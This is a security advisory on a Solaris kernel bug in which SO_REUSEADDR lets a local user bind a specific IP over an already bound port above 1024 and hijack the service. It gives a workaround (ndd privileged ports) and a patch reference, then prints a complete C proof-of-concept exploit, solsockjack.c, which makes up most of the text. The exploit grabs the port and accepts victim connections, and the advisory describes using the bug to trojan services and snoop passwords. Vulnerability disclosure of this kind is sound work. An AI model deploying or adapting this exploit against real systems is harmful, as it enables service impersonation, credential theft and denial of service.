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Solaris Socket Hijack Vulnerability
------------------------------------------------------------------------
SUMMARY
By binding a socket with an already binded port number of specific IP
address, attackers can hijack an already binded sockets in Solaris.
DETAILS
Vulnerable Systems:
* Sun Solaris 10 and prior
A bug with Solaris Kernel flag of SO_REUSEADDR cause the Kernel to accept
a new binding to a specific IP address over binding of a general address
(*.*). This bug allow attackers to add a malicious socket that will bind
to an already bound interface if a specific IP address is used.
The hijack can be preformed over any port over 1024, and can be use to
create a Trojan that will use the original service, but will also send
information to attackers, give access to the system itself, or any other
malicious act against the machine.
Workaround:
Using the following kernel parameter, it is possible to set ports above
1024 to act as reserved so only root can bind to them
tcp_extra_priv_ports_add
To set ports as privileged, run the following command:
ndd -set /dev/tcp tcp_extra_priv_ports_add 8080
To view privileged ports, run the following command:
ndd /dev/tcp tcp_extra_priv_ports
Exploit:
/*
**********************************************************************************
$ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Socket
Hijack Bug
**********************************************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: July 06 2005
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Local / Remote
**********************************************************************************
$ This advisory and/or proof of concept code must not be used for
commercial gain.
**********************************************************************************
Sun MicroSystems
http://www.sun.com
Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favours
any socket binding operation that
is more specific than the general "*.*" wildcard bind(). As such, a
malicious socket can bind to an already
bound interface if a specific IP address is used.
This hijack can be performed against any process over 1024, including
root owned services, it is not limited
to your own user account. One can then mimic the original service and
snoop usernames / passwords, files and
data with a trojan version of software, or just cause a DOS against the
legitimate service, providing the
service is bound to a port above 1024 and uses the SO_REUSEADDR option.
Anyway, a work around could be setting the port numbers that are
valuable to the system as privileged. Using
the following kernel parameter, you can set ports above 1024 to act as
reserved so only root can bind to them.
tcp_extra_priv_ports_add
To view privileged ports, run the following command:
ndd /dev/tcp tcp_extra_priv_ports
To set ports as privileged, run the following command:
ndd -set /dev/tcp tcp_extra_priv_ports_add 8080
Effected: All Solaris versions.
Not effected: Linux, OpenBSD, FreeBSD, Windows.
SUN have released a patch for the issue which can be downloaded from
sunsolve.
Document Audience: PUBLIC
Document ID: 116965-08
Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/tcp/udp patch
Update Date: Thu May 05 09:28:25 MDT 2005
See Patch Revision History
Patch Id: 116965-08
Problem Description:
5089150 Binding to a port which has already been bound may incorrectly
succeed
*/
/* solsockjack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <arpa/inet.h>
#define BAD
"!@#$%^&*()-_=+[]{};':\",/<>?\\|`~abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define DEFHOST "localhost"
#define MAX_INCONN 1
#define PORT 1241 /* Nessus */
#define SYSTEM "SunOS"
#define BL "\x1B[1;34m"
#define NO "\x1B[0m"
#define PI "\x1B[35m"
#define PU "\x1B[1;35m"
#define RE "\x1B[1;31m"
#define WH "\x1B[1;37m"
#define YE "\x1B[1;33m"
void
banner(void)
{
fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket
Hijack Exploit\n", YE, NO);
fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already
bound socket\n", YE, NO);
fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate
a service that\n", YE, NO);
fprintf(stderr, "%s[-] %sis already running on a port greater than
1024, making\n", YE, NO);
fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial
task to perform.\n", YE, NO);
fprintf(stderr, "%s[-] %sDeveloped by c0ntex ||
c0ntexb@gmail.com%s\n\n", YE, WH, NO);
_exit(EXIT_SUCCESS);
}
void
usage(int argc, char **argv)
{
fprintf(stderr, "%s[-] %s Usage:\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket
to\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack
of\n", YE, NO);
fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);
fprintf(stderr, "%s[-] %s%s -h 10.1.1.215 -p 1241\n\n", YE, NO,
argv[0]);
_exit(EXIT_FAILURE);
}
void
checkerr(char *isvuln)
{
free(isvuln);
puts("Not today!");
_exit(EXIT_FAILURE);
}
void
jackerr(char *vulnerable)
{
free(vulnerable);
_exit(EXIT_FAILURE);
}
char
*checksys(char *isvuln)
{
struct utsname name;
if(uname(&name) < 0) {
puts("uname failed");
}
isvuln = malloc(6);
if(!isvuln) {
perror("malloc");
_exit(EXIT_FAILURE);
}
if((name.sysname == NULL) || (strlen(name.sysname) < 1) ||
(strlen(name.sysname) > 5)) {
checkerr(isvuln);
}
memcpy(isvuln, name.sysname, strlen(name.sysname));
if(!isvuln) {
checkerr(isvuln);
}
return(isvuln);
}
int
main(int argc, char **argv)
{
int inbuf, jacksock, opts, solvuln;
int port = PORT;
char *vulnerable = NULL;
char *systype = NULL;
char *isvuln = NULL;
char *bad = NULL;
struct sockaddr_in solaris, victims;
if(argc < 2) {
banner();
_exit(EXIT_FAILURE);
}
if((systype = checksys(isvuln)) == NULL) {
puts("Something messed up!");
checkerr(isvuln);
}
if(strcmp(SYSTEM, systype) != 0) {
puts("System is not supported - SunOS only!");
checkerr(isvuln);
}
fprintf(stderr, "\n%s-> %sOK, potential vulnerable %s[%s]
%ssystem, continuing..\n", WH, NO, BL, systype, NO);
free(isvuln); sleep(2);
while((opts = getopt(argc, argv, "h:p:v")) != -1) {
switch(opts)
{
case 'h':
bad = BAD;
vulnerable = malloc(16);
if(!vulnerable) {
perror("malloc");
_exit(EXIT_FAILURE);
}
if((optarg == NULL) || (strlen(optarg) <
7) || (strlen(optarg) > 15) || strpbrk(bad, optarg)) {
puts("\n[-] Failed: IP address
just isn't right!\n");
jackerr(vulnerable);
}
memcpy(vulnerable, optarg,
strlen(optarg));
if(!vulnerable) {
jackerr(vulnerable);
}
break;
case 'p':
port = atoi(optarg);
if((port < 1024) || (port > 65535)) {
puts("\n[-] Failed: Port number
just isn't right!\n");
usage(argc, argv);
_exit(EXIT_FAILURE);
}
break;
case 'v':
usage(argc, argv);
break;
default:
usage(argc, argv);
break;
}
}
if(vulnerable == NULL) {
jackerr(vulnerable);
}
fprintf(stderr, "%s-> %sJacking port %s[%d] %sat address
%s[%s]%s\n", WH, NO, PI, port, NO, PU, vulnerable, NO);
jacksock = socket(AF_INET, SOCK_STREAM, 0);
if(jacksock < 0) {
perror("socket");
jackerr(vulnerable);
} sleep(2);
if(setsockopt(jacksock, SOL_SOCKET, SO_REUSEADDR, &solvuln,
sizeof(int)) < 0) {
perror("setsockopt");
}
solaris.sin_family = AF_INET;
solaris.sin_port = htons(port);
solaris.sin_addr.s_addr = inet_addr(vulnerable);
memset(&solaris.sin_zero, '\0', sizeof(solaris.sin_zero));
if(bind(jacksock, (struct sockaddr *)&solaris, sizeof(struct
sockaddr)) < 0) {
perror("bind");
fprintf(stderr, "[-] %sFailed: %sCould not snag port, must
be patched!\n", RE, NO);
jackerr(vulnerable);
}
fprintf(stderr, "%s-> %s%sSuccess!! %sPort %s[%d] %shas been
hijacked!\n%s-> %sWait...\n", WH, NO, YE, NO, PI, port, NO, WH, NO);
if(listen(jacksock, MAX_INCONN) < 0) {
perror("listen");
puts("[-] Failed: Could not listen for an incoming
connection!");
jackerr(vulnerable);
} sleep(2);
fprintf(stderr, "%s-> %sOK, listening for incoming connections to
compromise", WH, NO);
inbuf = sizeof(victims);
if(accept(jacksock, (struct sockaddr *)&victims, &inbuf) < 0) {
perror("accept");
puts("[-] Failed: Could not accept the incoming
connection!");
jackerr(vulnerable);
}
fprintf(stderr, "\n%s-> %sSnagged a victim connecting from
%s[%s]%s\n", WH, NO, YE, inet_ntoa(victims.sin_addr), NO);
sleep(1);
close(jacksock);
puts("-> Victim has been released to live another day!");
sleep(1);
puts("-> Test was a success!");
free(vulnerable);
return(0);
}
/* EOF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:c0ntexb@gmail.com> c0ntex .
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